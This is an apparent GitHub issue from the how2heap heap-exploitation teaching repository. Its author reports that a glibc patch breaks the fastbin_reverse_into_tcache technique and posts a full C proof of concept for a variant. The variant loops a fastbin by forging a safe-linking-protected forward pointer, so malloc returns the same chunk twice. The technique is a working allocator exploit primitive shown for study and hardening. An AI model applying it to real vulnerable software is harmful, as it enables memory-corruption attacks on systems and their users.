how2heap
how2heap copied to clipboard
fastbin_reverse_into_tcache no longer works on glibc master
...because I wrote a patch :)
The patch adds a check when moving chunks from fastbin to tcache that the size field in the chunks makes sense.
Even with this patch, you can still pull off a similar attack by making the fastbin into a loop as follows:
#include <stdint.h>
#include <stdlib.h>
int main(void) {
void *p[15];
// Make 15 allocations
for (int i = 0; i < 15; i++) {
p[i] = malloc(1);
}
// Free them all
for (int i = 0; i < 15; i++) {
free(p[i]);
}
// tcache: p[6] -> p[5] -> p[4] -> p[3] -> p[2] -> p[1] -> p[0]
// fastbin: p[14] -> p[13] -> p[12] -> p[11] -> p[10] -> p[9] -> p[8] -> p[7]
// Clear out the tcache
for (int i = 0; i < 7; i++) {
void *unused = malloc(1);
}
// tcache: (empty)
// fastbin: p[14] -> p[13] -> p[12] -> p[11] -> p[10] -> p[9] -> p[8] -> p[7]
// Change p[7]'s forward link from PROTECT_PTR(NULL) to PROTECT_PTR(p[13])
uint64_t *const p7_chunk = (uint64_t *)p[7] - 2;
p7_chunk[2] =
(uintptr_t)(((uint64_t *)p[13]) - 2) ^ ((uintptr_t)p7_chunk >> 12);
// tcache: (empty)
// +-------------------------------------------------------+
// | |
// \/ |
// fastbin: p[14] -> p[13] -> p[12] -> p[11] -> p[10] -> p[9] -> p[8] -> p[7] -+
// Make a single allocation. This will cause the first 7 entries in the
// fastbin to be moved into the tcache. It also reverses their order.
void *unused = malloc(1);
// i.e., first
// tcache: (empty)
// +-------------------------------------------------------+
// | |
// \/ |
// fastbin: p[13] -> p[12] -> p[11] -> p[10] -> p[9] -> p[8] -> p[7] -+
// then,
// tcache: p[7] -> p[8] -> p[9] -> p[10] -> p[11] -> p[12] -> p[13]
// fastbin: p[13]
// Because p[13] is last in the tcache list, it gets PROTECT_PTR(NULL)
// written into its fd field. This is convenient, because it means that
// other than the fact that p[13] is present in both the fastbin and tcache,
// the heap is in a *totally valid state*. In other words, the attack cleans
// up after itself :)
// Clear out the tcache again, except the last
for (int i = 0; i < 6; i++) {
void *unused = malloc(1);
}
// tcache: p[13]
// fastbin: p[13]
// Should get p[13]
void *poisoned_1 = malloc(1);
// tcache: (empty)
// fastbin: p[13]
// Should get p[13]
void *poisoned_2 = malloc(1);
return poisoned_1 != poisoned_2;
}